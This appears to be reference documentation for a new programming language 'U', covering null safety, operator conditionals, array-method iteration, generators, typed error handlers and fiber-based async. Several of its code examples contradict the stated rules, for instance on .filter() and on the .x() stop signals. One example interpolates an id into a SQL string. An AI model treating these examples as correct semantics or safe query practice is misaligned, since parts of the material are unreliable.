// ── Schema declaration ──────────────────────────────────────── d @doc("users") // maps to "users" collection User @id id: S // document ID name: S email: S age: I+N // nullable — old docs return none tags: [S] // ── CRUD ────────────────────────────────────────────────────── user = orm.get(User, "abc123") // User+N users = orm.find(User, u => u.age > 18) // [User] id = orm.insert(user) // calls __pack__() → JSON → db orm.update(user) // calls __pack__() → patch document orm.delete(User, "abc123") // ── Pagination and sorting ──────────────────────────────────── page = orm.find(User, u => u.active) .sort(u => u.name) .skip(20).take(10) // ── Complex predicates — same > < syntax, no $gt needed ────── users = orm.find(User, u => u.age > min_age and u.tags.has("admin") and u.name.starts_with("A") ) // orm module compiles predicate to db-native query at compile time // for db-specific operators ($text, $geoNear), use mongodb`` template // ── Nested documents — __unpack__ recurses automatically ──────── d @doc("orders") Order @id id: S user: User // embedded document — User.__unpack__() called automatically items: [Item] // array of nested objects total: N order = orm.get(Order, id) // Order + nested User + [Item] all hydrated in one call
orm.get(User, id) fetches the raw {S: JsonValue} document and calls User.__unpack__(data) — the same method called by Json.decode, Protobuf.decode, and every other decoder. orm.insert(user) calls user.__pack__() and writes the result. The predicate in orm.find(User, u => u.age > 18) is translated to a database query at compile time by the orm module; complex predicates the compiler cannot translate fall back to a database-specific template module (e.g. mongodb\`\`). __pack__/__unpack__ is the sole serialization mechanism — the ORM adds nothing on top of it for reads and writes.
Null Safety
Non-null is the default. +N explicitly opts into nullability. The compiler never emits a null check for -N values — the type proves it unnecessary.
U nudges people away from null footguns. JavaScript's three-way confusion between key missing, key set to undefined, and key set to null — where undefined conflates two states (absent vs explicitly set to undefined) — is a famous source of bugs. U collapses this to two clean concepts: absent (use has()) and none (the single null value). +N on map values and set members is allowed — unstructured data (NoSQL documents, dynamic JSON, schema-less protocols) genuinely needs null-as-value distinct from absent. But the language documents the better patterns: when your schema is known at compile time, typed classes with +N fields, separate structures, or union types are clearer. has() is always the right way to distinguish absent from null-valued.
Map subscript forces handling. dict["key"] always returns V+N. Assigning it to a plain I variable is a compile error — the developer must acknowledge the missing-key case with ??, != none, or a type annotation. This turns Python's runtime KeyError into a compile-time obligation.
Null narrowing. After a == none or != none check, the compiler narrows the type in each branch — no need for explicit guards or re-checking. Similarly, assigning through ?? yields a non-null type.
Optional chaining ?. — safe access on nullable values. If the receiver is none, the entire chain short-circuits to none. The result type is always +N. Works for property access, method calls, and callable invocation (?.())). The chain callback?.()?.foo calls callback if non-null, then accesses .foo on the result if that is also non-null.
Maps vs objects. Optional chaining with ?.foo implies you wanted static structure — use d and declare properties. Maps ({K: V}) are for runtime-dynamic keys and use ["key"] subscript access. If you find yourself wanting map.foo, that is a signal to switch to a class.
+N on map values and set members is allowed — unstructured data genuinely needs it. But when your schema is known, these patterns are clearer:
// ⚠ valid but consider alternatives when schema is known scores: {S: I+N} // allowed — but has() already handles absent; +N adds null-as-value members: {User+N} // allowed — {K+N} set can contain none as a member docs: {S: Json+N} // ✓ legitimate — NoSQL/dynamic JSON needs null distinct from absent // ✓ correct designs enrolled: {S} // who exists scores: {S: I} // score only set when known // or union type for explicit states d Score.Pending : Score d Score.Withdrawn : Score d Score.Value : Score { n: I } scores: {S: Score} // explicit states, no hidden nulls // ✓ arrays: +N is fine — slot always exists within bounds grid = [User+N]-M(64) // 64 slots, some occupied, some empty results = inputs.map(parse) // [I+N] — some parses failed valid = results.filter(r => r != none) // [I] — compiler narrows
// -N default: can never be null — no check emitted name: S = "Alice" // -N: compiler skips null check entirely count: I = 42 // +N: may be none — must handle before use user: User+N = find_user(id) // Map subscript always returns V+N — forces handling val = scores["alice"] // N+N — must handle none bad: N = scores["alice"] // ✗ COMPILE ERROR — scores["key"] is N+N not N ok: N = scores["alice"] ?? 0.0 // ✓ N — ?? resolves to non-null // Null narrowing — compiler tracks type through branches val = scores["alice"] // val: N+N val == none ? skip() ! val * 2 // ✓ val is N here — compiler narrowed it val != none ? val.round() // ✓ val is N — non-null branch ! 0.0 // ?? coalesce — result type is non-null display = user?.name ?? "Guest" // S — non-null (fallback covers none) port = config.port ?? 8080 // ?. optional chaining — none propagates through whole chain city = user?.address?.city // S+N — none if user or address is none city_safe = user?.address?.city ?? "unknown" // S — fallback resolves // ?.() — call nullable function, then chain further result = callback?.() // Result+N — none if callback is none name = callback?.()?.foo // S+N — chain: call if non-null, access .foo if non-null label = callback?.()?.foo ?? "n/a" // S — full chain with fallback // & guard — execute only if non-null user & send_welcome_email(user) // runs only if user != none // Early return on none — clean handler pattern f handle_login(uid: I) -> Response+N user = find_user(uid) user ?? r => Response.not_found() // early return if none // user narrowed to User -N here — compiler knows it's safe session = create_session(user) r => Response.ok(session.token) // Compile error: cannot dereference +N without handling bad = user.name // ✗ COMPILE ERROR — user is +N, must use user?.name or check first
Conditionals — ?! & | ?? :
No if, no else, no switch, no match. Five operators handle all conditional logic.
| Operator | Semantics | Use case |
|---|---|---|
cond ? a ! b | if cond then a else b — cond must be L | Ternary / if-else. ? = "yes", ! = "not" |
expr : Type | true if expr is-a Type — returns L | Type test, dispatch |
a & b | a: T+N → guard: run b if non-null, return T+N.a: L, b: L → logical AND: returns L. Same operator, type disambiguates. | Guard / logical AND |
a | b | First truthy/non-null value — any type.a: L, b: L → logical OR (fallback fires on false). | Fallback / logical OR |
a ?? b | b if a is none, else a — any +N type | Null coalesce |
Operator precedence
From lowest to highest binding power:
| Precedence | Operators | Notes |
|---|---|---|
| 1 — lowest | = | Assignment. Right side evaluated first. |
| 2 | ? ! | && ?? r => | Conditional, fallback, null-coalesce, return. a = b ? foo means a = (b ? foo). |
| 3 | & | Guard (short-circuit). a = b & foo means a = (b & foo). |
| 4 | == != < > <= >= | Comparison. a == b ? foo means (a == b) ? foo — comparison binds tighter than ?. |
| 5 | + - ++ ~+ | Additive. |
| 6 | * / // % | Multiplicative. |
| 7 | ^ ~^ ~& ~| | Power and bitwise. |
| 8 — highest | . () [] | Member access, call, index. |
& has higher precedence than ? and ! but lower than comparisons — so a > 0 & f() means (a > 0) & f(), and a & b ? c ! d means a & (b ? c ! d).? and ! are a natural pair. The ternary reads "is it? yes: … not: …". Freeing : makes it available for type tests (expr : Type) and inheritance (d Dog : Animal) — both mean is-a, consistently.
// Syntax rules: ? and ! at condition indent level // Arbitrary spaces after ? or ! to align. Continuations indented. // Inline label = count > 1 ? "items" ! "item" // Multi-line block — last expr in each branch is the value greeting = time < 12 ? name = user.first_name "Good morning, " + name // indented → still in ? branch ! name = user.nickname | user.first_name "Good afternoon, " + name // indented → still in ! branch // Nested status = user != none ? user.active ? "active user" ! "inactive user" ! "no user" // Switch-like: ! at condition level, spaces after ! for alignment grade = score >= 90 ? "A" ! score >= 80 ? "B" ! score >= 70 ? "C" ! "F" // : type test — expr : Type returns B shape : Circle & draw_circle(shape) shape : Rectangle & draw_rect(shape) // Type dispatch with ?! — replaces switch/match/instanceof area = shape : Circle ? Math.PI * shape.radius ^ 2 ! shape : Rectangle ? shape.width * shape.height ! 0.0 // & | ?? — short-circuit value operators admin & show_admin_panel() // guard valid & r => compute() // conditional return label = user.nickname | user.first_name | "Anonymous" // fallback port = config.port ?? 8080 // null coalesce
1.
? and ! sit at the same indent level as the condition line.2. Arbitrary spaces after
? or ! before first content — for alignment.3. Continuation lines must be indented (tab) to stay in the branch.
? condition and & left side.
5 ? 2 ! 8 — ERROR: 5 is I, not B.
Convert explicitly: L(expr) or !!(expr).
| and ?? accept any type — they select values, not test conditions.
Iteration — Array Methods
No for, no while. All iteration uses named array methods — all native, all bounded by default, all sharing the same underlying engine. For unbounded / infinite iteration over streams and generators, see +W generators. .x() uses a three-signal convention — its handler returns L+N and the compiler inserts implicit none when the handler returns a type that doesn't satisfy L+N (pit of success — the default is always "continue / pass downstream"). All other methods (.filter(), .find(), .all(), .any()) expect a plain predicate returning L — just a boolean, no implicit signals.
| Handler returns | .x() signal meaning | Pipeline effect |
|---|---|---|
none (default / implicit) | Continue to next element | Pass this element downstream in a pipeline |
false | Continue, but skip this element | Drop this element — don't pass downstream. Like continue + filter out. Enables backpressure in .x().x() chains. |
true | Stop iteration early | Abort the entire pipeline — like break |
| Method | Returns | Notes |
|---|---|---|
.x(handlers) | — | Each. Passes (value, index) — index is 1-based. Declare one param to drop the index. none=continue, true=stop. |
.filter(pred: F(T)→L) | [T] | Plain predicate — true = include, false = exclude. Returns L, no three-signal. |
.map(fn) | [U] | Passes (value, key). Return value is the new element. |
.reduce(fn, init) | U | (acc, item) => new_acc. Standard fold. |
.find(pred) | T +N | Stops at first Non-false return. Returns the item or none. Caller knows what they called. |
.slice(start?, end?) | [T] | 1-based, inclusive. slice(2,4) = indices 2,3,4. slice(3) = index 3 to end. slice(-3) = last 3 elements. Non-mutating. |
.splice(start, n?, items?) | [T] | Remove n elements at start, optionally insert items: [ElemType]. Returns removed elements. Requires +M. |
.reverse() | [T] | Returns reversed copy. Non-mutating. |
.sort() | [T] | Natural order. Requires T to implement __compare__. Non-mutating. |
.sort(key: F(T)→K) | [T] | Key function — one-param lambda extracts a comparable value. Overload selected by lambda arity. |
.sort(cmp: F(T,T)→L) | [T] | Comparator — two-param lambda, returns L ("is a before b?"). Overload selected by lambda arity. |
.sort(reverse: L) | [T] | Natural order reversed. Named param distinguishes from key/comparator overloads. |
.last() | T+N | Last element. Sugar for arr[arr.length]. Returns none if empty. |
.all(pred) | L | Synchronous: true if every element satisfies pred. Short-circuits on first false. |
.any(pred) | L | Synchronous: true if any element satisfies pred. Short-circuits on first true. any(f) = !all(!f) by De Morgan. |
.all() | [T]+A | Async join on [T+A] only. Awaits all concurrently; results in input order. |
.any() | T+N+A | Async race on [T+A] only. Resolves with first completed value or none. |
// .filter() — three signals active = users.filter((user) => user.active ? none ! false) // include if active first10 = items.filter((item) => ( taken = taken + 1 taken <= 10 ? none // include ! true // stop )) // .map() — return value is the new element names = users.map((user) => user.first_name + " " + user.last_name) doubled = nums.map((num) => num * 2) // .reduce() — fold total = orders.reduce((acc, order) => acc + order.amount, 0.0) // .find() — returns T +N, caller knows what they called user: User+N = users.find((user) => user.id == target ? none ! false) user != none & process(user) // or: user ?? default_user // .all() — Promise.all: await all +A values, results in input order pending: [S+A] = urls.map((url) => a fetch(url)) // N concurrent fibers pages: [S] = pending.all() // await all, ordered // .any() — Promise.race: returns T +N +A, caller knows winner: S+N+A = pending.any() // first to resolve, or none winner != none & render(winner) // .sort() — three overloads by lambda arity nums = [3, 1, 4, 1, 5] sorted = nums.sort() // natural order: [1, 1, 3, 4, 5] rev = nums.sort(reverse: true) // reversed: [5, 4, 3, 1, 1] users = [User(name:"Bob",age:30), User(name:"Ali",age:25)] by_age = users.sort(u => u.age) // key fn (1-param lambda) → ascending by age by_name = users.sort(u => u.name) // key fn → lexicographic by_custom = users.sort((a, b) => a.score > b.score) // comparator (2-param lambda → L) // Overload selected purely from lambda arity — no return type needed: // () → .sort() natural // (reverse:L) → .sort() reversed // (T) → .sort() key function // (T,T) → .sort() comparator // .x() stays for events, errors, and side-effect iteration users.x((user) => log(user.name)) // for-each with side effect e.x(MyLib.network_policies) // error handler registration clicks.x((evt) => handle_click(evt)) // event subscription
[S, S +A, S +A] arrays work naturally — regular values pass through instantly, +A values are awaited concurrently. Results always come back in input order. If any +A value rejects, it throws — caught by e.x() handlers. No .catch() needed.
Ranges — .. and ...
Range syntax produces numeric sequences — no special Range type. Ranges are numeric only (no string/lexicographic ranges). Arithmetic is element-wise. The compiler recognizes range-derived arrays in .x() and emits a tight counter loop — no array allocated.
Compile-time initialization. When a range maps over a pure function with all-constant inputs, the compiler evaluates it at compile time — inferred from the literals, no annotation needed:
squares = [0..255].map(n => n * n) becomes a static lookup table.
[a..b] — inclusive both ends · [1..5] = [1, 2, 3, 4, 5][a...b] — exclusive end · [1...5] = [1, 2, 3, 4]Arithmetic is element-wise:
[1..5]*2 = [2,4,6,8,10]Ranges are for generating sequences. Array slicing uses
.slice() — see Iteration.
// Inclusive — both ends included arr = [1..5] // [1, 2, 3, 4, 5] arr = [5..1] // [5, 4, 3, 2, 1] — descending // Exclusive end arr = [1...6] // [1, 2, 3, 4, 5] (not 6) arr = [1..6] // [1, 2, 3, 4, 5, 6] (includes 6) // Arithmetic is element-wise [1..5]*2 // [2, 4, 6, 8, 10] [5..1]*2 // [10, 8, 6, 4, 2] // .x() on range — compiler emits tight loop, no allocation [1..n].x((val) => draw(val)) [1..rows].x((row) => // rows 1 through rows [1..cols].x((col) => // cols 1 through cols matrix[row][col] * scale // 1-based index — natural ) ) // Array slicing uses .slice(), not range subscript syntax: arr.slice(2, 4) // elements at indices 2, 3, 4 (inclusive) arr.slice(1, arr.length) // all elements arr.slice(-3) // last 3 elements
.x() is called on a range-derived array, the compiler recognizes the pattern and emits a counter loop — same machine code as hand-written C, no array allocated.Generators — w value and +W
Inside a generator function (return type T+W), w value emits one value to the caller and continues running. The caller receives values lazily via .x(), .take(), or .map(). Use [1..w] for an infinite integer range.
A handler passed to .x() returns none to continue or true to stop — functions and lambdas return none implicitly when they fall off the end, so you only need to write none explicitly when returning it mid-lambda. Bare ( ) expression blocks return their last expression value as usual. There are no loop keywords — iteration is always method-based.
// Generator function — w value emits, then continues f naturals() -> I+W num = 1 [1..w].x(() => ( w num // emit, then continue num = num + 1 none // continue )) // Fibonacci f fibonacci() -> I+W prev = 1 curr = 1 [1..w].x(() => ( w curr next = prev + curr prev = curr curr = next none )) // Consume with .x() — return true to stop, none to continue fibonacci().x(n => n > 1000 ? true ! none) // Take first N fibonacci().take(10).x(n => print(n)) // Skip blank lines — return none to continue, process otherwise f process_lines(lines: [S]+W) lines.x(line => ( line.is_empty() ? none // skip ! line.starts_with("#") ? none // skip comments ! process_line(line) | none // process, continue ))
.map() and .filter() on a T+W produce U+W. .take(n) and .first() terminate the stream. .reduce(), .sort(), and .last() on +W are compile errors — they require a finite collection.Streams — +W and w (wield)
w value emits one value from a generator to its caller and continues. [1..w] creates an infinite range with type I+W. +W propagates through .map() and .filter(), and is terminated by .take() or .first().
// w value = wield: emit to caller, continue running f fib() -> I+W prev = 1 curr = 1 [1..w].x(() => ( w curr // wield: emit, then continue next = prev + curr prev = curr curr = next none // continue )) // Infinite range arithmetic: evens: I+W = [0..w]*2 // 0, 2, 4, 6, ... neg_e: I+W = [0..−w]*2 // 0, -2, -4, ... // +W propagates; .take() terminates it: fib().take(10).x(num => print(num)) big = fib().filter(num => num > 100 ? none ! false).take(5) // .reduce() .sort() .last() .all() on +W = compile error (needs finite)
() => vs () =>. Use () => when the iteration parameter is not needed. There is no _ discard — single characters are reserved for keywords and type primitives. Unused named parameters are silently allowed.Error Handling — e
e is dual. At the definition site: e ErrType(...) throws. At the call site: e.x() registers typed handlers — the same .x() subscription used everywhere. Error handlers are typed event listeners.
What .x() accepts
| Form | Behavior |
|---|---|
e.x(handler) | Append one typed function to that type's chain |
e.x(h1, h2, h3) | Append all in order — equivalent to three separate .x() calls |
e.x(policy_array) | Spread an array of typed functions onto the chain in order — array order is defined and preserved |
.x() is array-set-by-type, not push. Early exit (returning true) stops only that specific type's chain — other type chains are independent. Library policies are exported as arrays, not objects — array order is defined, method iteration order on objects is not.
// ── Definition site ─────────────────────────────────────────────────── d NetworkError : BaseError { msg: S, code: I, retryable: L } d TimeoutError : NetworkError { elapsed: I } a f fetch(url: S) -> S ! NetworkError ! TimeoutError connected | e NetworkError( msg: "offline", retryable: true ) elapsed > limit & e TimeoutError( elapsed: elapsed ) r => body // ── Single and multi-arg ────────────────────────────────────────────── a f run(url: S) e.x(log_timeout, retry_on_timeout) // push both onto TimeoutError chain e.x((err: NetworkError) => err.retryable ? retry(url) ! log_and_fail(err.msg)) result = a fetch(url) process(result) // ── Library policy arrays — ordered, exported, composable ──────────── // In MyLib — exported as arrays, NOT objects (object method order is undefined) network_policies: [(NetworkError)->()] = [ log_to_sentry, notify_oncall, retry_on_recoverable // order defined and preserved ] // Call site — array spreads onto chain in order a f run(url: S) e.x(MyLib.network_policies) // spread array: all three appended in order e.x(MyLib.network_policies, extra_handler) // append more after the array result = a fetch(url) process(result) // ── Pit of success — library symbols ───────────────────────────────── e.x( MyLib.handle_network_error, Foo.fail_closed_on_syntax_error ) result = a fetch(url) // happy path process(result) // ── Early exit is per-type, independent chains ──────────────────────── e.x((err: NetworkError) => { reconnect() | (r => false) }) // false = stop NetworkError chain e.x((err: NetworkError) => log_and_fail(err.msg)) // skipped if above returns false e.x((err: TimeoutError) => retry(url)) // TimeoutError chain unaffected // ── The rule: declare what you originate, propagation is inferred ───── // You ORIGINATE this throw → must declare ! NetworkError in your signature a f fetch(url: S) -> S ! NetworkError ! TimeoutError connected | e NetworkError( msg: "offline" ) // ← originated here elapsed > limit & e TimeoutError( elapsed ) // ← originated here r => body // You PROPAGATE from a callee → inferred automatically, no declaration needed a f run(url: S) -> S // no ! needed e.x((err: NetworkError) => retry(url)) // handled r => a fetch(url) // TimeoutError propagates — compiler infers it // no ! TimeoutError required in run()'s signature // Optional: explicitly seal your surface — compiler verifies accuracy a f run(url: S) -> S ! TimeoutError // declares AND verifies: only this escapes // Block-scoped catching: () is your try block result = ( e.x((err: NetworkError) => r => fallback) // only inside this block a fetch(url) )
.x() as every — and any via De Morgan
The same chain model applies to iteration. .x() runs all handlers; returning a truthy value stops the chain early and returns that item. Returning none (the default) continues. Any is the De Morgan inverse: any(f) = !every(!f). See the Fibers section for .all() and .any() on promise arrays.
// every — false stops chain early all_paid = orders.x((order) => order.paid) // false if any not paid none_overdue = orders.x((order) => !order.overdue) // false if any overdue // any via De Morgan: any(f) = !every(!f) has_admin = !users.x((user) => !user.is_admin) // true if any user is admin any_overdue = !orders.x((order) => !order.overdue) // true if any order overdue
Static dispatch tables — zero overhead on happy path
U's error model enables something no traditional exception system does: the compiler can build a complete, flat dispatch table at compile time from e.x() calls, because handlers are declared before the throwing calls in the same lexical scope. The compiler sees the full handler set before generating any code for fetch().
// Compiler sees these BEFORE generating fetch() code: e.x(log_timeout) // TimeoutError → log_timeout e.x((err: NetworkError) => retry(url)) // NetworkError → retry_handler e.x(network_policies) // array — flattened at compile time // Normal execution — ZERO overhead: result = fetch(url) // just a function call. no try block. no stack frame metadata. process(result) // just a function call. // On throw — compile-time dispatch table, O(1): // NetworkError → dispatch_table[NetworkError] → retry_handler(err) // TimeoutError → dispatch_table[TimeoutError] → log_timeout(err) // No stack scanning. No unwinding. No DWARF metadata. Direct call.
| Mechanism | Happy path cost | Error path cost | Binary overhead |
|---|---|---|---|
| C++ exceptions | Hidden — .eh_frame sections always present | Stack scan + DWARF parse + unwind | ~10–20% size from unwind tables |
| Java checked | None | JVM exception table scan + stack unwind | Exception tables in bytecode |
Go if err != nil | None | Branch chain — O(N handlers) | None |
Rust Result<T,E> | None | match — O(1) per variant | None |
U e.x() | None | Compile-time table — O(1) direct call | None |
The key difference from every alternative: e.x() handlers are statically visible before the call. A C++ try { } catch { } block is a dynamic scope marker — the runtime sets up unwinding frames at each try block, scans the stack on throw, and parses DWARF tables. e.x() is a compile-time declaration. The compiler iterates the handler set, builds a typed dispatch table as a compile-time constant, and emits a direct indexed call on error. No unwinding infrastructure required.
e.x(network_policies) — array form is flattenable:When
network_policies is a statically-known typed array, the compiler iterates it at compile time and folds each handler into the dispatch table directly. The array form is not late binding — it is sugar for multiple e.x() calls, emitted once, seen by the compiler as a complete set before any code is generated for the call site.
Fibers, Program-as-Graph & Promise Semantics
The program IS the dependency graph
Every +A value is a node in a dependency graph. Fibers execute when their +A dependencies resolve. The scheduler runs whatever fiber has all inputs ready, suspends fibers that are waiting, and resumes them on resolution. You write ordinary code; +A annotations declare which values cross fiber boundaries.
Rejection throws
When you auto-await a +A value that was rejected, it throws. The exception hits the e.x() handler chain — the same path used for all other errors. There is no separate "rejection handler" or .catch(). One mechanism for all failure paths.
.x() on arrays — Promise.all semantics
.x() on an array of mixed values and +A values is Promise.all-aware. Regular values pass through instantly; +A values are awaited concurrently. Results are returned in input order regardless of resolution order. The return is always [T] +A — always async, even if all inputs are already resolved.
none = continue, truthy = stop. The default return from any handler is none (falsy), meaning "continue". Returning any truthy value — including true — stops the chain. When stopped early, .x() returns T +A (the single value that triggered the stop). When all elements are processed, it returns [T] +A. This convention is uniform across data iteration and e.x() error/event handler chains.
// Start N concurrent fibers — all run in parallel pending: [S+A] = urls.x((url) => a fetch(url)) // all — collect all results in input order (auto-await) pages: [S] = pending.all() // waits for all, returns [S] in order // time = max(fetch times), not sum // any / race — first to resolve wins (returns T +A, not array) first: S+A = pending.any() // stops at first resolved — Promise.race // .all() and .any() are just functions: // .all() = include all, never stop — include all, never stop // .any() = stop at first resolved — stop at first, return it // Custom: stop when result passes a condition big_page: S+A = pending.x((page) => page.length > 10000 ? page ! none) // returns first page longer than 10k chars, or continues // Start as new fiber — get [S] +A back, caller continues results: [S]+A = a pending.all() // Rejection: if any fetch throws, e.x() handlers fire e.x((err: NetworkError) => log_and_fail(err.msg)) pages = pending.all() // any rejection → throws → e.x() above fires // De Morgan — any(f) = !every(!f) still works on plain arrays has_admin = !users.x((user) => !user.is_admin) // true if any is admin any_overdue = !orders.x((order) => !order.overdue)
Stack preservation
JavaScript async/await loses call frames across await points — the continuation runs in a new microtask with no knowledge of its caller. U fibers are stackful: the full call stack is preserved across suspension. An exception thrown anywhere in a fiber carries the complete trace from main through every intermediate caller.
// Stack frames lost across await async function run(id) { const order = await fetch(id); // frame LOST await save(order); // new stack } // Error in save(): trace shows // save() internals only — run() gone
// Full stack preserved across suspension a f run(id: I) order = a fetch(id) // stack preserved a save(order) // stack preserved // Error in save(): trace shows // save → run → main — all intact
Red-blue freedom
In JavaScript, Rust, and Python, async functions have a different "color" — once a function does anything async, every caller must become async too. U solves this: stackful fibers with +A annotations keep suspension frames minimal, and regular functions call async functions without adopting a different color.
f build_report() -> S // plain f — not a f data = a fetch_data() // starts new fiber — type inferred: S+A r => render(data) // auto-awaits — no color infection // JS: build_report must be async, every caller must be async, cascade
The a Keyword — Async Done Right
The a keyword is a behavioral capability keyword (not a modifier). It has three syntactic positions and one meaning: engagement with the async domain.
| Position | Syntax | Meaning |
|---|---|---|
| Function declaration | a f fetch() | Documents that this function has internal suspension points. Advisory — does not infect callers. Callers doing bare fetch() block inline. |
| Bare call — blocking | result = fetch() | Blocks the calling fiber inline until the function returns. No cactus branch created. a f not required on caller. Works from any context. |
| Async call — non-blocking | pending = a fetch() | Spawns a cactus branch. Caller continues immediately with T+A. a f not required on caller. Works from any context. |
| Cooperative yield | a; | Yield to scheduler immediately. Requires a f declaration. Also a copy point: the compiler inserts copies of any -R+M parent-frame references the fiber holds, so the parent can safely resume and mutate after the yield. |
| Timed yield | a 5 (literal only) | Yield at least 5ms (lower bound). Literal integer only. Requires a f declaration. |
a is a keyword, not a modifier. Modifiers on a declaration describe the return value and parameters only. a f fetch(url: S) -> S +N — the +N is on the return value, a is on the function keyword.// ── Declaration: behavioral keyword, not a modifier ──────
a f lookup(key: S) -> Config+N // 'a' marks function as suspendable
// ── Form 1: Auto-await (default, zero annotation) ────────
cfg = lookup(key) // fiber suspends transparently if needed
// same CALL instruction regardless of sync/async
// ── Form 2: Async opt-in (a + +A inferred from a) ────────────
pending: Config+N+A = a lookup(key) // new fiber, caller continues
// ── Both call forms work from any context ─────────────────
result = lookup(key) // blocks inline — no a f on caller needed
pending: Config+N+A = a lookup(key) // cactus branch — no a f on caller needed
// ── TYPE ERROR: +A without a ──────────────────────────────
pending: Config+A = lookup(key) // ❌ +A on LHS requires 'a' at call site
// ── Cooperative yields ────────────────────────────────────
a f heavy_work()
data.x((item, index) =>
process(item)
idx % 1000 == 0 & a; // yield every 1000 items
)
a f poll()
w+I
check_and_process()
a 5 // yield at least 5ms (literal only)
Promises, events, and types — one primitive
T+A is a typed future: a value of type T that hasn't arrived yet. The same dispatch mechanism that routes e.x((err: NetworkError) => ...) by error type routes resolution of any T+A value by its type. Both are: "when a typed value arrives, call this handler." Event emitters, promises, and error chains are syntactic variations of one underlying primitive — typed arrival dispatch. The type IS the event name.
// Error dispatch — fires when a typed error value arrives: e.x((err: NetworkError) => reconnect()) e.x((err: TimeoutError) => retry()) // Promise dispatch — fires when a typed success value arrives: pending = a fetch(url) // S+A — inferred pending.x((result: S) => process(result)) // same pattern, different type pending.x((err: NetworkError) => handle(err)) // errors also dispatched by type // Event stream — fires repeatedly as typed values arrive: stream = a watch_clicks() stream.x((e: ClickEvent) => handle_click(e)) stream.x((e: ScrollEvent) => handle_scroll(e)) // Same .x() dispatch — type determines handler
The program IS its execution DAG
The +A dependency graph of a U program is a DAG. The scheduler executes it in topological order — Kahn's algorithm — firing each fiber when all its +A inputs have resolved. You never specify execution order explicitly. It falls out of the type annotations.
p1: S+A = a fetch(url1) // node: no inputs p2: Data+A = a parse(p1) // node: fires when p1 resolves p3: Html+A = a render(p2) // node: fires when p2 resolves p4: S+A = a fetch(url2) // node: no inputs — runs concurrently with p1 result = [p3, p4].all() // join: fires when BOTH chains complete // Execution order derived entirely from +A types: // p1, p4 → concurrent (no dependencies) // p2 → after p1 // p3 → after p2 // result → after p3 AND p4
The a f(pending) sugar creates DAG edges automatically — even if f was not declared async, calling it with a spawns a fiber that awaits its +A arguments, calls f with resolved values, and returns ReturnType+A. The program structure IS the dependency graph IS the execution order — three isomorphic representations, derived from type annotations alone.
Backpressure by default — the full picture
Backpressure is structural in U, not something you implement manually. It falls out of the type system at every level:
| Pattern | Concurrency | Backpressure |
|---|---|---|
fetch(url) | None — current fiber suspends | Total — next line waits |
a fetch(url) then use result | One concurrent fiber | At point of use |
.x((item) => process(item)) | Sequential — one at a time | Full — each iteration waits |
.map((item) => a f(item)).all() | All concurrent | At join — waits for slowest |
.map((item) => a f(item)).any() | All concurrent | None — first wins, rest abandoned |
a f(p1, p2) — auto-lift | p1, p2 already concurrent | At call site — awaits both |
// ── Sequential pipeline — full backpressure by default ─────────────── urls.x((url: S) => // .x() waits for each before next html: S = fetch(url) // auto-await data: PageData = parse(html) // auto-await result: Templates.HTML = render(data) // auto-await store(result)) // One URL at a time. Render slow → parse waits → fetch waits → .x() waits. // ── Fan-out pipeline — concurrent stages, bounded join ─────────────── pages: [Templates.HTML] = urls .map((url) => // fire all fetches concurrently html: S+A = a fetch(url) data: PageData+A = a parse(html) // waits for its own fetch result: Templates.HTML+A = a render(data) // waits for its own parse r => result) .all() // wait for ALL — bounded // N URLs fetch concurrently. But within each URL: fetch→parse→render is ordered. // Backpressure within each lane. Join waits for the slowest lane. // ── Race — first result wins ────────────────────────────────────────── fast: User+N = [ a db.query("SELECT * FROM users WHERE id={id}"), a cache.get("user:" + id), a search_index.find(id) ].any() // first to resolve wins // ── Toposort falls out of +A types ─────────────────────────────────── prices: PriceData+A = a fetch_prices() // no deps → fires immediately user: UserData+A = a fetch_user(user_id) // no deps → fires immediately tax: TaxRate+A = a get_tax_rate(user) // waits for user total: Total+A = a calculate(prices, user, tax) // waits for all three receipt: Templates.HTML+A = a render_receipt(total) // waits for total // Scheduler infers topological order: // Tier 0: prices, user (concurrent, no deps) // Tier 1: tax (after user) // Tier 2: total (after prices + user + tax) // Tier 3: receipt (after total) // Critical path: max(prices, user) + tax + calculate + render // You wrote data dependencies. The execution order is derived. No scheduler config.
.x()is sequential by default — one item at a timea f(pending)awaitspendingbefore calling — pipeline ordering.all()waits for the slowest — bounded fan-out- Auto-lift sugar:
a f(p1, p2)awaits both concurrently before calling
.map((x) => a f(x)). The safe default is bounded.
e.x((err: T) => ...) — handler fires when error of type T arrivespending.x((val: T) => ...) — handler fires when T+A resolvesstream.x((e: T) => ...) — handler fires on each T in a stream[p1, p2].all() — fires when ALL +A inputs resolve (join)[p1, p2].any() — fires when FIRST +A input resolves (race)All are typed arrival dispatch. Types are events. The type name is the event name.
Why you rarely need +R — the cactus stack
Most languages that support async force you to heap-allocate captured variables. In async/await languages (JS, Python, Swift), the stack unwinds at every suspension point — any variable captured by a closure must escape to the heap, often requiring explicit annotation or boxing. U works differently.
U uses a cactus stack (also called a parent-pointer tree). Each fiber gets its own stack segment. When a fiber spawns a child, the child gets a new branch — the parent's segment stays alive, linked by a parent pointer. Multiple children can share the same ancestor segment simultaneously.
The .x() callback in depth
The handler passed to .x() can be a named function or a lambda — they have different return semantics, but both work correctly without explicit none in the common case.
Named function — statement semantics, returns none by default:
f handle(user: User) // no return type = none by default log(user.name) // do work // implicit none — continue users.x(handle) // always returns none → always continue ✓
Lambda — expression semantics, last value returned. Implicit none when non-L:
A lambda passed to .x() is in an L+N context. If its last expression returns a type that doesn't satisfy L+N (e.g. S, I), the compiler implicitly returns none — pit of success. You only write an explicit signal when you mean it.
// Last expression returns S — compiler inserts implicit none users.x(u => log(u.name)) // log() returns S → implicit none → continue ✓ // Block lambda — last expr is assignment returning I → implicit none total = 0 orders.x(order => ( process(order) // returns S — implicit none total = total + order.amount // returns I — implicit none )) // no explicit none needed ✓ // Explicit stop — return true items.x(item => ( process(item) item.id == target ? true // guard: true if found, none otherwise → stop or continue )) // The footgun — avoid bool as last line unintentionally items.x(item => ( seen = (item.id == last_id) // returns L — IS a signal! false=skip, true=stop // add none at end if you don't mean to signal ))
Pipeline / backpressure — false drops element downstream:
// .x().x() pipeline — false drops the element from downstream stages source .x(item => validate(item) ? none ! false) // false = drop invalid items .x(item => transform(item)) // only sees valid items .x(item => save(item)) // only sees transformed items // Early abort — true stops the entire pipeline source .x(item => item.poison ? true) // true = abort everything .x(item => process(item))
false means skip rather than stop: false is falsy — its behaviour should resemble none (both "continue"). The distinction from none is downstream visibility: none passes the element on, false drops it. true is the outlier — it breaks. This maps cleanly to loop intuitions: none/false are both like continue, true is break. The only difference between none and false is whether the element reaches the next pipeline stage.
